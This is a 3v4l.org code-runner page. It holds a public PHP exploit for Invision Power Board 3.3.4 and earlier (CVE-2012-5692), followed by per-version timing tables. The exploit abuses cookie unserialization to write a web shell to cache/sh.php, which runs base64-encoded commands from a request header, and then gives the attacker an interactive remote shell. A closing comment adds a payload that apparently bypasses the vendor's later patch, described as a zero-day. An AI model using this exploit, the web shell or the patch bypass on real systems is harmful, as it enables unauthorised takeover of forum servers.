3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: http://www.invisionpower.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } /* So this is the patch that sanitizes, static public function safeUnserialize( $serialized ) { // unserialize will return false for object declared with small cap o // as well as if there is any ws between O and : if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false ) { if ( strpos( $serialized, 'O:' ) === false ) { // the easy case, nothing to worry about // let unserialize do the job return @unserialize( $serialized ); } else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) ) { // in case we did have a string with O: in it, // but it was not a true serialized object return @unserialize( $serialized ); } } return false; } And this is what bypasses it ( By @i0n1c ) $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}'); Which makes this an IPB 0day. lulz! - webDEViL */ ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.4.20.0070.01417.79
8.4.10.0130.00717.59
8.3.150.0110.00817.36
8.3.140.0090.00916.69
8.3.130.0040.01218.23
8.3.120.0050.00319.03
8.3.110.0030.00616.50
8.3.100.0040.00424.06
8.3.90.0090.00626.77
8.3.80.0000.00918.30
8.3.70.0110.01116.58
8.3.60.0140.00018.56
8.3.50.0080.00722.12
8.3.40.0090.00618.88
8.3.30.0130.00619.13
8.3.20.0040.00420.10
8.3.10.0040.00423.67
8.3.00.0090.00020.84
8.2.270.0070.01016.91
8.2.260.0080.01118.70
8.2.250.0080.00016.75
8.2.240.0050.00317.26
8.2.230.0060.00320.94
8.2.220.0090.00037.54
8.2.210.0080.00026.77
8.2.200.0040.00418.41
8.2.190.0120.00316.63
8.2.180.0090.00916.75
8.2.170.0090.00622.96
8.2.160.0040.01120.39
8.2.150.0030.00525.66
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0000.00819.36
8.2.110.0080.00022.15
8.2.100.0110.00018.03
8.2.90.0040.00419.17
8.2.80.0060.00317.97
8.2.70.0080.00017.75
8.2.60.0040.00418.05
8.2.50.0030.00618.07
8.2.40.0050.00319.89
8.2.30.0060.00318.36
8.2.20.0040.00417.85
8.2.10.0040.00418.05
8.2.00.0000.00717.91
8.1.310.0040.00416.69
8.1.300.0110.01120.09
8.1.290.0100.00030.84
8.1.280.0100.00725.92
8.1.270.0090.00023.99
8.1.260.0040.00426.35
8.1.250.0080.00028.09
8.1.240.0090.00020.75
8.1.230.0040.00817.83
8.1.220.0000.00817.79
8.1.210.0090.00018.77
8.1.200.0030.00617.22
8.1.190.0040.00417.13
8.1.180.0080.00018.10
8.1.170.0040.00418.51
8.1.160.0000.00822.01
8.1.150.0030.00618.55
8.1.140.0030.00517.42
8.1.130.0030.00317.69
8.1.120.0040.00417.29
8.1.110.0000.00717.29
8.1.100.0080.00017.41
8.1.90.0050.00217.43
8.1.80.0000.00717.42
8.1.70.0050.00217.34
8.1.60.0040.00417.55
8.1.50.0060.00317.53
8.1.40.0070.00317.55
8.1.30.0000.00917.68
8.1.20.0050.00317.64
8.1.10.0040.00417.52
8.1.00.0000.00817.44
8.0.300.0000.00818.77
8.0.290.0000.00816.88
8.0.280.0030.00518.32
8.0.270.0070.00017.29
8.0.260.0060.00017.12
8.0.250.0030.00316.97
8.0.240.0000.00816.88
8.0.230.0050.00316.94
8.0.220.0030.00316.91
8.0.210.0030.00316.82
8.0.200.0000.00717.01
8.0.190.0000.00817.06
8.0.180.0000.01116.90
8.0.170.0040.00416.92
8.0.160.0050.00216.91
8.0.150.0040.00416.87
8.0.140.0030.00616.81
8.0.130.0030.00313.36
8.0.120.0000.00816.91
8.0.110.0020.00516.96
8.0.100.0030.00616.93
8.0.90.0060.00316.83
8.0.80.0150.00616.89
8.0.70.0050.00216.94
8.0.60.0000.00716.94
8.0.50.0000.00817.00
8.0.30.0150.00416.96
8.0.20.0080.01017.40
8.0.10.0040.00416.99
8.0.00.0080.00916.67
7.4.330.0000.00515.00
7.4.320.0000.00616.54
7.4.300.0000.00816.54
7.4.290.0030.00516.36
7.4.280.0040.00416.55
7.4.270.0070.00016.45
7.4.260.0000.01016.34
7.4.250.0060.00316.48
7.4.240.0020.00516.44
7.4.230.0030.00316.23
7.4.220.0110.00716.38
7.4.210.0030.01116.38
7.4.200.0000.00816.53
7.4.160.0100.01416.64
7.4.150.0070.01117.40
7.4.140.0110.00917.86
7.4.130.0070.00916.65
7.4.120.0120.00716.41
7.4.110.0080.00816.59
7.4.100.0150.00316.35
7.4.90.0090.00916.30
7.4.80.0110.01119.39
7.4.70.0070.01016.26
7.4.60.0110.01116.35
7.4.50.0040.00416.21
7.4.40.0080.00816.40
7.4.30.0160.00016.51
7.4.10.0030.01714.89
7.4.00.0080.00914.96
7.3.330.0000.00513.41
7.3.320.0000.00513.39
7.3.310.0000.01016.58
7.3.300.0000.00716.38
7.3.290.0050.01016.39
7.3.280.0080.00816.37
7.3.270.0070.01617.40
7.3.260.0120.00616.53
7.3.250.0130.00416.61
7.3.240.0030.01416.48
7.3.230.0080.00916.50
7.3.210.0110.00616.71
7.3.200.0070.01119.39
7.3.190.0040.01916.44
7.3.180.0090.00616.66
7.3.170.0060.00916.46
7.3.160.0100.00716.51
7.3.130.0120.00314.97
7.3.120.0100.00814.85
7.3.110.0030.01715.11
7.3.100.0060.00614.96
7.3.90.0000.01114.98
7.3.80.0000.01614.71
7.3.70.0060.01014.98
7.3.60.0070.01114.98
7.3.50.0060.00614.98
7.3.40.0000.00814.96
7.3.30.0060.00914.97
7.3.20.0040.00716.82
7.3.10.0040.01016.69
7.3.00.0030.00916.63
7.2.330.0090.00916.56
7.2.320.0140.00316.48
7.2.310.0090.00916.75
7.2.300.0120.00416.37
7.2.290.0110.01416.68
7.2.260.0100.00314.57
7.2.250.0040.01514.88
7.2.240.0040.01414.90
7.2.230.0030.00915.20
7.2.220.0100.00715.22
7.2.210.0110.00414.75
7.2.200.0040.00714.92
7.2.190.0120.00314.98
7.2.180.0030.00814.95
7.2.170.0040.00815.17
7.2.160.0040.01115.11
7.2.150.0000.01116.60
7.2.140.0030.01016.64
7.2.130.0070.00616.77
7.2.120.0050.00816.88
7.2.110.0060.00716.91
7.2.100.0040.00916.75
7.2.90.0070.00716.88
7.2.80.0070.00716.90
7.2.70.0060.00816.96
7.2.60.0060.00816.89
7.2.50.0080.00616.85
7.2.40.0060.00716.73
7.2.30.0070.00516.87
7.2.20.0050.00916.83
7.2.10.0070.00616.86
7.2.00.0070.00717.35
7.1.330.0070.00715.86
7.1.320.0030.00915.59
7.1.310.0030.01315.91
7.1.300.0060.01015.95
7.1.290.0000.00815.71
7.1.280.0080.00015.75
7.1.270.0040.00415.72
7.1.260.0000.01615.78
7.1.250.0060.00615.70
7.1.240.0050.00715.68
7.1.230.0060.00415.79
7.1.220.0040.00715.70
7.1.210.0020.01015.67
7.1.200.0020.01115.68
7.1.190.0120.00415.76
7.1.180.0050.00515.78
7.1.170.0050.00715.78
7.1.160.0040.00715.71
7.1.150.0040.00915.54
7.1.140.0090.00515.92
7.1.130.0090.00415.63
7.1.120.0070.00715.62
7.1.110.0100.00515.78
7.1.100.0050.00816.61
7.1.90.0040.01115.77
7.1.80.0050.00515.51
7.1.70.0050.00616.20
7.1.60.0110.00617.01
7.1.50.0060.01215.96
7.1.40.0050.01215.90
7.1.30.0070.00815.79
7.1.20.0080.00815.61
7.1.10.0110.00615.70
7.1.00.0040.03217.95
7.0.330.0100.00315.47
7.0.320.0070.00715.34
7.0.310.0050.00815.29
7.0.300.0030.00815.20
7.0.290.0060.00615.30
7.0.280.0070.00515.42
7.0.270.0060.00615.37
7.0.260.0050.00515.54
7.0.250.0110.00415.55
7.0.240.0020.01115.28
7.0.230.0080.00515.18
7.0.220.0030.00915.29
7.0.210.0030.00815.33
7.0.200.0090.00315.86
7.0.190.0060.01015.35
7.0.180.0090.00615.28
7.0.170.0120.00415.42
7.0.160.0080.00515.51
7.0.150.0070.01015.55
7.0.140.0050.03217.54
7.0.130.0060.00715.52
7.0.120.0050.00715.48
7.0.110.0050.00715.46
7.0.100.0030.00815.23
7.0.90.0060.00615.25
7.0.80.0070.00315.40
7.0.70.0070.02616.95
7.0.60.0030.02016.88
7.0.50.0050.02017.09
7.0.40.0050.01715.73
7.0.30.0060.01815.54
7.0.20.0020.02115.66
7.0.10.0030.02015.63
7.0.00.0040.01815.64
5.6.400.0030.00614.25
5.6.390.0000.01414.05
5.6.380.0030.00714.62
5.6.370.0050.00714.40
5.6.360.0030.00914.42
5.6.350.0050.00614.28
5.6.340.0030.00814.47
5.6.330.0030.00614.61
5.6.320.0040.00614.28
5.6.310.0050.01114.19
5.6.300.0060.01214.34
5.6.290.0050.00914.27
5.6.280.0020.02916.59
5.6.270.0040.01114.34
5.6.260.0020.01014.45
5.6.250.0050.01014.44
5.6.240.0040.00914.47
5.6.230.0070.00714.36
5.6.220.0040.02116.35
5.6.210.0030.02116.41
5.6.200.0030.02116.49
5.6.190.0060.01316.64
5.6.180.0050.01516.67
5.6.170.0060.01516.50
5.6.160.0050.01716.69
5.6.150.0040.01916.67
5.6.140.0020.02016.76
5.6.130.0020.02416.57
5.6.120.0030.02716.57
5.6.110.0060.01616.59
5.6.100.0050.01616.43
5.6.90.0070.02416.40
5.6.80.0050.01816.52
5.6.70.0040.02016.24
5.6.60.0060.01816.38
5.6.50.0020.01916.27
5.6.40.0070.01416.40
5.6.30.0020.02216.39
5.6.20.0030.02116.26
5.6.10.0040.02116.30
5.6.00.0060.03216.23
5.5.380.0050.00512.76
5.5.370.0050.00812.64
5.5.360.0080.02115.27
5.5.350.0030.01915.07
5.5.340.0040.01815.27
5.5.330.0080.01915.31
5.5.320.0040.01915.39
5.5.310.0050.01715.36
5.5.300.0050.02315.51
5.5.290.0060.02015.36
5.5.280.0050.01715.60
5.5.270.0040.03415.57
5.5.260.0030.02015.34
5.5.250.0040.01715.25
5.5.240.0040.01715.15
5.5.230.0040.01715.19
5.5.220.0050.02014.99
5.5.210.0030.01815.18
5.5.200.0040.01715.17
5.5.190.0080.01315.18
5.5.180.0020.01715.13
5.5.170.0060.00412.71
5.5.160.0050.03015.18
5.5.150.0080.02615.22
5.5.140.0070.02215.32
5.5.130.0050.03015.13
5.5.120.0030.03515.26
5.5.110.0080.01515.34
5.5.100.0020.03015.13
5.5.90.0070.02315.17
5.5.80.0080.02615.12
5.5.70.0060.03215.19
5.5.60.0100.02915.10
5.5.50.0090.02515.25
5.5.40.0050.02914.97
5.5.30.0070.03015.05
5.5.20.0050.03215.20
5.5.10.0060.02014.99
5.5.00.0060.02915.12
5.4.450.0050.01513.89
5.4.440.0040.02913.81
5.4.430.0050.01713.89
5.4.420.0040.02013.81
5.4.410.0030.01913.77
5.4.400.0030.01513.71
5.4.390.0020.01813.78
5.4.380.0010.01913.79
5.4.370.0030.01613.79
5.4.360.0020.01513.78
5.4.350.0030.02013.63
5.4.340.0040.01813.78
5.4.330.0020.00610.88
5.4.320.0020.02413.78
5.4.310.0070.02813.60
5.4.300.0060.02813.71
5.4.290.0020.02913.61
5.4.280.0050.02713.63
5.4.270.0050.02413.81
5.4.260.0040.03113.79
5.4.250.0050.02313.56
5.4.240.0040.02313.70
5.4.230.0050.02513.58
5.4.220.0080.03113.55
5.4.210.0060.02713.62
5.4.200.0090.02813.80
5.4.190.0070.02613.60
5.4.180.0030.02413.60
5.4.170.0000.03113.54
5.4.160.0060.02813.59
5.4.150.0030.03113.49
5.4.140.0050.02912.94
5.4.130.0020.02412.86
5.4.120.0020.03112.85
5.4.110.0030.03012.87
5.4.100.0010.02712.82
5.4.90.0070.02612.88
5.4.80.0060.02912.87
5.4.70.0050.02012.86
5.4.60.0020.02112.67
5.4.50.0020.02912.86
5.4.40.0060.02712.69
5.4.30.0050.01612.78
5.4.20.0030.02912.77
5.4.10.0020.02912.88
5.4.00.0050.02512.72
5.3.290.0060.04112.73
5.3.280.0000.04312.59
5.3.270.0030.02112.65
5.3.260.0050.03212.56
5.3.250.0000.02912.58
5.3.240.0070.02812.44
5.3.230.0030.02512.53
5.3.220.0050.03712.49
5.3.210.0070.04012.52
5.3.200.0040.04012.51
5.3.190.0050.03812.49
5.3.180.0080.03912.60
5.3.170.0060.03812.49
5.3.160.0070.03812.61
5.3.150.0080.02212.41
5.3.140.0050.03812.49
5.3.130.0050.03012.60
5.3.120.0070.03712.50
5.3.110.0060.04212.51
5.3.100.0030.03912.12
5.3.90.0040.04312.31
5.3.80.0020.04112.15
5.3.70.0030.04012.07
5.3.60.0030.03012.23
5.3.50.0060.01912.11
5.3.40.0040.03712.34
5.3.30.0020.04212.14
5.3.20.0020.03812.12
5.3.10.0020.02912.03
5.3.00.0040.03512.01
5.2.170.0050.01610.63
5.2.160.0030.03310.74
5.2.150.0030.03110.62
5.2.140.0050.03110.68
5.2.130.0000.03810.65
5.2.120.0030.03010.68
5.2.110.0020.03310.65
5.2.100.0060.03010.66
5.2.90.0030.03210.68
5.2.80.0040.03010.68
5.2.70.0020.03710.66
5.2.60.0060.02310.62
5.2.50.0000.03410.68
5.2.40.0030.03210.61
5.2.30.0050.03310.60
5.2.20.0050.03210.58
5.2.10.0030.03310.53
5.2.00.0050.03510.47
5.1.60.0030.02810.47
5.1.50.0040.02010.47
5.1.40.0000.03110.47
5.1.30.0010.03010.47
5.1.20.0050.02910.47
5.1.10.0060.02310.47
5.1.00.0020.03210.47
5.0.50.0020.01310.47
5.0.40.0020.01310.47
5.0.30.0010.02810.47
5.0.20.0040.01410.47
5.0.10.0040.02310.47
5.0.00.0020.03210.47
4.4.90.0040.01710.47
4.4.80.0000.02210.47
4.4.70.0020.02010.47
4.4.60.0040.02110.47
4.4.50.0030.02010.47
4.4.40.0020.02310.47
4.4.30.0020.01810.47
4.4.20.0020.02010.47
4.4.10.0020.01310.47
4.4.00.0050.02810.47
4.3.110.0040.01910.47
4.3.100.0000.01610.47
4.3.90.0000.02210.47
4.3.80.0040.02510.47
4.3.70.0060.01010.47
4.3.60.0020.01510.47
4.3.50.0010.01410.47
4.3.40.0060.01510.47
4.3.30.0020.02110.47
4.3.20.0020.02310.47
4.3.10.0050.01310.47
4.3.00.0000.01510.47

preferences:
30.66 ms | 403 KiB | 5 Q